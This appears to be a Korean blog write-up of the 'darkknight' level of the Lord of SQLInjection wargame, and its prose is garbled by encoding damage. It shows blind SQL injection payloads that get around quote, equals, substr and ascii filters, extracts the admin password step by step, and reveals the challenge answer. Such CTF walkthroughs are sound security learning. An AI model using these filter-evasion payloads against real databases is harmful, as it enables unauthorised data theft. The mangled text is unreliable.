ํฐ์คํ ๋ฆฌ ๋ทฐ
12๋ฒ์งธ ๋ฌธ์ ์ธ "darkknight"๋ฅผ ๋ณด์๋ฉด preg_match ํจ์๋ฅผ ์ฌ์ฉํ ๋ค์ํ ํํฐ๋ง ๊ฒ์ฆ์ด ์ถ๊ฐ๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
if(preg_match('/prob|_|\.|\(\)/i', $_GET [no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET [no])) exit("HeHe");
๋น๊ต ์ฐ์ฐ์์ธ or ๋ and ๋ ๊ฒ์ฆ์ ํ์ง ์๊ณ ์์ง๋ง ์ ๋จ๊ณ๋ค๊ณผ ๋ค๋ฅด๊ฒ ์ฑ๊ธ ์ฟผํฐ( ' )๋ฅผ ์ฐจ๋จํ๊ณ ์๊ธฐ ๋๋ฌธ์ " ์ฑ๊ธ ์ฟผํฐ "๋ฅผ ๋์ ํ ๋ฐฉ๋ฒ์ ์ฐพ์์ผ ํ ๊ฒ ๊ฐ์ต๋๋ค.
ํํฐ๋ง ์ฐํ
= --> like ๋๋ between์ ์ฌ์ฉ
substr --> right, left, mid ๋ฑ ์ ์ฌ์ฉ
'(์ฑ๊ธ ์ฟผํฐ) --> " ๋๋ธ ์ฟผํฐ ์ฌ์ฉ
ascii --> ord ์ฌ์ฉ
left : ๋ฌธ์์ ์ผ์ชฝ์ ๊ธฐ์ค์ผ๋ก ์ผ์ ๊ฐฏ์๋ฅผ ๊ฐ์ ธ์ค๋ ํจ์
mid : ๋ฌธ์์ ์ง์ ํ ์์ ์์น๋ฅผ ๊ธฐ์ค์ผ๋ก ์ผ์ ๊ฐฏ์๋ฅผ ๊ฐ์ ธ์ค๋ ํจ์
right : ๋ฌธ์์ ์ค๋ฅธ์ชฝ์ ๊ธฐ์ค์ผ๋ก ๊ฐฏ์๋ฅผ ๊ฐ์ ธ์จ๋ ํจ์
ord : ์์คํค ์ฝ๋ ๊ฐ์ ๋ฐํํ๋ ํจ์
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET [pw]}'";
if(($result ['pw']) && ($result['pw'] == $_GET ['pw'])) solve("darkknight");
๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด์ " admin " ๊ณ์ ์ ํจ์ค์๋๋ฅผ pw ๋ณ์ ์์ ์ต์ข ์ ์ผ๋ก ์ ๋ ฅํด์ ํด๊ฒฐํด์ผ ๋๋ ๋ฌธ์ ์ธ ๊ฒ ๊ฐ์ต๋๋ค. ๋ํ ์ ๋ ฅ๋ ํจ์ค์๋๊ฐ DB๋ด์ ํจ์ค์๋๊ฐ ๋์ผํด์ผ ๋๊ธฐ ๋๋ฌธ์ ์ ํํ ๊ฐ์ BSQLI๋ก ์์๋ด์ผ ๋ ๊ฒ ๊ฐ์ต๋๋ค.
Input Code ( =, ' ์ฐํ)
1 or id like "admin" %26%26 length(pw) like 8
1 or id like 0x61646d696e %26%26 length(pw) like 8
์์ ๊ตฌ๋ฌธ์ ํตํด admin ๊ณ์ ์ ํจ์ค์๋๊ฐ 8์๋ฆฌ ์ธ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.๋ง์ผ ํด๋น ๋ฌธ์ ์์ "(๋๋ธ ์ฟผํฐ)๊น์ง ์ฐจ๋จ์ ํ๊ณ ์๋ค๋ฉด admin ํค์๋๋ฅผ " hex " ์ฝ๋๋ก ๋๋ ค์ ์ฌ์ฉํ๋ฉด ์ฐํ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
Input Code ( =, ', ascii, substr ์ฐํ )
1 or id like "admin" %26%26 ord(mid(pw,1,1)) like 48%23
1 or id like 0x61646d696e %26%26 ord(mid(pw,1,1)) like 48%23
ํด๋น $1$ ์์ญ์ ํจ์ค์๋์ ์๋ฆฟ์๋ฅผ ์๋ฏธํ๋ฉฐ ํด๋น ๋ถ๋ถ์ 1 ~ 8์๋ฆฌ๊น์ง ํ๋์ฉ ์ถ๊ฐํ ๊ฒ์ ๋๋ค.$47$ ๋ถ๋ถ์ ์ถ์ถํ ํจ์ค์๋์ ๋น๊ตํ ascii ์ฝ๋์ด๋ฉฐ ํ๋จ์ ์ฝ๋๋ฅผ ์ฐธ๊ณ ํ์ฌ ๋น๊ต
32 ~ 47 : ํน์๋ฌธ์ (space, !, ", #, $, %, & ๋ฑ)
58 ~ 64 : ํน์๋ฌธ์ (:, ;, <, =, >, ?, @)
123 ~ 126 : ํน์๋ฌธ์ ({, |, }, ~)
48 ~ 57 : ์ซ์ (0 ~ 9)
65 ~ 90 : ์์ด(๋๋ฌธ์) (A ~ Z)
97 ~ 122 : ์์ด(์๋ฌธ์) (a ~ z)
๋์ถ๋ ASCII ๊ฐ ๋ณต๊ตฌ
48 --> 0
98 --> b
55 --> 7
48 --> 0
101 --> e
97 --> a
49 --> 1
102 --> f
๋ฒํ ์ํธ๋ฅผ ํตํด ๋์ถ๋ ascii ์ฝ๋๋ฅผ ์ซ์, ๋ฌธ์๋ก ๋ณํํด๋ณด๋ฉด " 0b70ea1f "๋ผ๋ ํจ์ค์๋๊ฐ ๋์ค๋ฉฐ ํด๋น ๊ฐ์" pw " ๋ณ์์ ๋ฃ์ด์ฃผ๊ธฐ๋ฉด ํ๋ฉด ํด๋ฆฌ์ด๊ฐ ๋ฉ๋๋ค.
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[LOS] Giant ํ์ด(14) (0) | 2020.12.08 |
---|---|
[LOS] Bugbear ํ์ด(13) (0) | 2020.12.08 |
XSS Challenges 5-2 (0) | 2020.12.08 |
XSS Challenges 5-1 (0) | 2020.12.07 |
XSS Challenges 4 (0) | 2020.12.06 |